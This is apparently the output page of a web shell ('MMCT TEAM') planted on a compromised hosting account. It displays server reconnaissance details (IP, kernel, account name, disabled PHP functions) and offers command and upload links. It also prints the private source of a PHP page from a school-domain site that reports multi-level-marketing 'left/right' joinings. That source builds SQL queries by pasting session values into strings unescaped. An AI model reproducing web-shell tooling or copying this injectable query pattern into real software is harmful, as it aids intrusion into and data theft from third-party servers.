MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.199
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/b/../sale/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/b/../sale/show_right.php
<?php
include('php-includes/connect.php');
include('php-includes/check-login.php');

$userid = $_SESSION['userid'];

?>
<?PHP include("link/header.php")?>
<link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="jq/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/>
<link href="jq/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/>
  <link href="/your-path-to-fontawesome/css/fontawesome.css" rel="stylesheet">
<script src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.4.1.min.js"></script>
<script src="jq/jquery.dataTables.min.js"></script>
<script src="jq/dataTables.buttons.min.js"></script>
<script src="jq/buttons.flash.min.js"></script>
<script src="jq/jszip.min.js"></script>
<script src="jq/pdfmake.min.js"></script>
<script src="jq/vfs_fonts.js"></script>
<script src="jq/buttons.html5.min.js"></script>
<script src="jq/buttons.print.min.js"></script>
<section id="main-content">
	<section class="wrapper">
	<div id="page-wrapper" style="background-color: white;background-repeat: no-repeat;background-position: center;background-size:580px">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12">
					<title>Summary Of User Id = <?php echo $userid;?></title>
                        <h1 class="page-header">Statement Of Joining Business </h1>
											<script>
											$(document).ready(function(){
												$('#example').DataTable({
													dom: 'Bfrtip',
												   buttons: ['copy', 'csv', 'excel', 'pdf', 'print']
												});
												
											});
											</script>

<?PHP

	?>
	<div class="table-responsive">
	<?php
		$allrightusers=$_SESSION['right_array'];
	$allleftusers=$_SESSION['left_array'];
				$countleft=count($allleftusers);
$countright=count($allrightusers);
			?>
			
			
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr>
                <th  style="text-align:center">SR.</th>
				<th  style="text-align:center"><?php echo $userid ;?> [ Left (<?php echo $countleft; ?>)]</th>
				<th  style="text-align:center">Left Joining With Amount</th>
				
				<th  style="text-align:center"><?php echo $userid ;?> [Right (<?php echo $countright; ?>)] </th>
				<th  style="text-align:center">Right Joining With Amount </th>
            </tr>
        </thead>
		<tbody>
			<?php
			$max=max($countleft,$countright);
			$sr=1;
			
			$green=0;
			
			$green1=0;
			while($sr<=$max)
			{
			?>
			<tr>
				<td><?php echo $sr; ?></td>
				<td>
					<?php
						if(array_key_exists($sr-1,$allleftusers))
						{
							
							$use1=$allleftusers[$sr-1];
							$sel125="select * from  user where  email='$use1' ";
	$res12l5=mysqli_query($con,$sel125);
	$row12l5=mysqli_fetch_array($res12l5,MYSQLI_BOTH);
	if($row12l5)
	{
	    if($row12l5['amount']>0)
	    {
	 $green=$green+1;
	    }
	}
	echo $allleftusers[$sr-1].'('.$row12l5['name'].')';
						}
					?>
				</td>
				<td>
					<?php
						if(array_key_exists($sr-1,$allleftusers))
						{
							
							$use1=$allleftusers[$sr-1];
							$sel12="select * from  user where  email='$use1' ";
	$res12l=mysqli_query($con,$sel12);
	$row12l=mysqli_fetch_array($res12l,MYSQLI_BOTH);
	echo $row12l['amount'];
						}
					?>
				</td>
				
				
				<td>
					<?php
						if(array_key_exists($sr-1,$allrightusers))
						{
							$use23=$allrightusers[$sr-1];
							$sel1256="select * from  user where  email='$use23' ";
	$res12l56=mysqli_query($con,$sel1256);
	$row12l56=mysqli_fetch_array($res12l56,MYSQLI_BOTH);
	if($row12l56)
	{
	    if($row12l56['amount']>0)
	    {
	$green1=$green1+1;
	    }
	}
							echo $allrightusers[$sr-1].'('.$row12l56['name'].')';
						}
					?>
				</td>
				<td>
					<?php
						if(array_key_exists($sr-1,$allrightusers))
						{
							
							$use2=$allrightusers[$sr-1];
							$sel123="select * from  user where  email='$use2' ";
	$res12l3=mysqli_query($con,$sel123);
	$row12l3=mysqli_fetch_array($res12l3,MYSQLI_BOTH);
	echo $row12l3['amount'];
						}
					?>
				</td>
			</tr>
			
			<?php
			$sr++;
			}
			?>
			<tr style="font-weight:bold">
				<td>Total</td>
				<td>
					Left Green Id 
				</td>
				<td>
					<?php
						echo "<font style='color:green'>$green</font>";
					?>
				</td>
				
				<td>
					Right Green Id 
				</td>
				<td>
					<?php
						echo "<font style='color:green'>$green1</font>";
					?>
				</td>
			</tr>
		</tbody>
		<tfoot>
            <th  style="text-align:center">SR.</th>
			<th  style="text-align:center">Left</th>
			<th  style="text-align:center">Left Green Id = <span style='color:green'><?php echo $green;?></span></th>
			
			<th  style="text-align:center">Right</th>
			<th  style="text-align:center">Right Green Id = <span style='color:green'><?php echo $green1;?></span></th>
        </tfoot>
<tbody>	
    </table>
	
	</div>
	<?php
	
	?>
                    </div>
                    <!-- /.col-lg-12 -->

                </div>
                <!-- /.row -->
                <div class="row">
                
                </div><!--/.row-->
            </div>
            <!-- /.container-fluid -->
        </div>
        <!-- /#page-wrapper -->

    </div>

	
</section>

<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-form-validator/2.3.26/jquery.form-validator.min.js"></script>
<script>
  $.validate({
    modules : 'html5',
	modules : 'file'
  });
</script>
 <!-- footer -->
		  <?php include('link/footer.php')?>
  <!-- / footer -->
</section>
<!--main content end-->
</section>
<script src="js/bootstrap.js"></script>
<script src="js/jquery.dcjqaccordion.2.7.js"></script>
<script src="js/scripts.js"></script>
<script src="js/jquery.slimscroll.js"></script>
<script src="js/jquery.nicescroll.js"></script>
<!--[if lte IE 8]><script language="javascript" type="text/javascript" src="js/flot-chart/excanvas.min.js"></script><![endif]-->
<script src="js/jquery.scrollTo.js"></script>
<!-- morris JavaScript -->	
<script>
	$(document).ready(function() {
		//BOX BUTTON SHOW AND CLOSE
	   jQuery('.small-graph-box').hover(function() {
		  jQuery(this).find('.box-button').fadeIn('fast');
	   }, function() {
		  jQuery(this).find('.box-button').fadeOut('fast');
	   });
	   jQuery('.small-graph-box .box-close').click(function() {
		  jQuery(this).closest('.small-graph-box').fadeOut(200);
		  return false;
	   });
	   
	    //CHARTS
	    function gd(year, day, month) {
			return new Date(year, month - 1, day).getTime();
		}
		
		graphArea2 = Morris.Area({
			element: 'hero-area',
			padding: 10,
        behaveLikeLine: true,
        gridEnabled: false,
        gridLineColor: '#dddddd',
        axes: true,
        resize: true,
        smooth:true,
        pointSize: 0,
        lineWidth: 0,
        fillOpacity:0.85,
			data: [
				{period: '2015 Q1', iphone: 2668, ipad: NULL, itouch: 2649},
				{period: '2015 Q2', iphone: 15780, ipad: 13799, itouch: 12051},
				{period: '2015 Q3', iphone: 12920, ipad: 10975, itouch: 9910},
				{period: '2015 Q4', iphone: 8770, ipad: 6600, itouch: 6695},
				{period: '2016 Q1', iphone: 10820, ipad: 10924, itouch: 12300},
				{period: '2016 Q2', iphone: 9680, ipad: 9010, itouch: 7891},
				{period: '2016 Q3', iphone: 4830, ipad: 3805, itouch: 1598},
				{period: '2016 Q4', iphone: 15083, ipad: 8977, itouch: 5185},
				{period: '2017 Q1', iphone: 10697, ipad: 4470, itouch: 2038},
			
			],
			lineColors:['#eb6f6f','#926383','#eb6f6f'],
			xkey: 'period',
            redraw: true,
            ykeys: ['iphone', 'ipad', 'itouch'],
            labels: ['All Visitors', 'Returning Visitors', 'Unique Visitors'],
			pointSize: 2,
			hideHover: 'auto',
			resize: true
		});
		
	   
	});
	</script>
<!-- calendar -->
	<script type="text/javascript" src="js/monthly.js"></script>
	<script type="text/javascript">
		$(window).load( function() {

			$('#mycalendar').monthly({
				mode: 'event',
				
			});

			$('#mycalendar2').monthly({
				mode: 'picker',
				target: '#mytarget',
				setWidth: '250px',
				startHidden: true,
				showTrigger: '#mytarget',
				stylePast: true,
				disablePast: true
			});

		switch(window.location.protocol) {
		case 'http:':
		case 'https:':
		// running on a server, should be good.
		break;
		case 'file:':
		alert('Just a heads-up, events will not work when run locally.');
		}

		});
	</script>
	<!-- //calendar -->
</body>
</html>

MMCT - 2023